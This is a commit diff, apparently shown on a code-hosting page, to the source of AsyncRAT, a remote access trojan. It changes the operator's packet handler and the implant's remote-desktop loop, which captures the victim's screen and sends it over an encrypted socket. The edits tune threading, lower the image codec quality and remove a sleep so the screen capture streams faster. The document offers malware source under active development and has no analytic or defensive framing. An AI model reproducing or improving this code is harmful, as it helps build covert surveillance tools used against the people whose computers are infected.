UPDATE
This commit is contained in:
parent
6557356a14
commit
4719d0042b
@ -44,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
msgpack.ForcePathObject("Option").AsString = "true";
|
msgpack.ForcePathObject("Option").AsString = "true";
|
||||||
C.BeginSend(msgpack.Encode2Bytes());
|
C.BeginSend(msgpack.Encode2Bytes());
|
||||||
decoder = new UnsafeStreamCodec(80);
|
decoder = new UnsafeStreamCodec(60);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -13,10 +13,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
class HandlePacket
|
class HandlePacket
|
||||||
{
|
{
|
||||||
private static cGeoMain cNewGeoUse = new cGeoMain();
|
private static cGeoMain cNewGeoUse = new cGeoMain();
|
||||||
public static void Read(Clients Client, byte[] Data)
|
public static void Read(object Obj)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
object[] array = Obj as object[];
|
||||||
|
byte[] Data = (byte[])array[0];
|
||||||
|
Clients Client = (Clients)array[1];
|
||||||
MsgPack unpack_msgpack = new MsgPack();
|
MsgPack unpack_msgpack = new MsgPack();
|
||||||
unpack_msgpack.DecodeFromBytes(Data);
|
unpack_msgpack.DecodeFromBytes(Data);
|
||||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||||
|
Binary file not shown.
@ -7,6 +7,8 @@ using AsyncRAT_Sharp.Handle_Packet;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Sockets
|
namespace AsyncRAT_Sharp.Sockets
|
||||||
{
|
{
|
||||||
@ -65,6 +67,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
{
|
{
|
||||||
Buffer = new byte[Buffersize];
|
Buffer = new byte[Buffersize];
|
||||||
|
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
||||||
BufferRecevied = true;
|
BufferRecevied = true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -75,11 +78,9 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
await MS.WriteAsync(Buffer, 0, Recevied);
|
||||||
if (MS.Length == Buffersize)
|
if (MS.Length == Buffersize)
|
||||||
{
|
{
|
||||||
await Task.Run(() =>
|
|
||||||
{
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray()));
|
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
|
||||||
}
|
}
|
||||||
catch (CryptographicException)
|
catch (CryptographicException)
|
||||||
{
|
{
|
||||||
@ -94,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
});
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
Buffer = new byte[Buffersize - MS.Length];
|
||||||
|
@ -17,10 +17,9 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
|
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
|
||||||
while (RemoteDesktop_Status == true)
|
while (RemoteDesktop_Status == true)
|
||||||
{
|
{
|
||||||
Thread.Sleep(1);
|
|
||||||
if (!ClientSocket.Client.Connected) break;
|
if (!ClientSocket.Client.Connected) break;
|
||||||
Bitmap bmp = GetScreen();
|
Bitmap bmp = GetScreen();
|
||||||
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||||
|
@ -123,7 +123,7 @@ namespace Client.Sockets
|
|||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
|
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user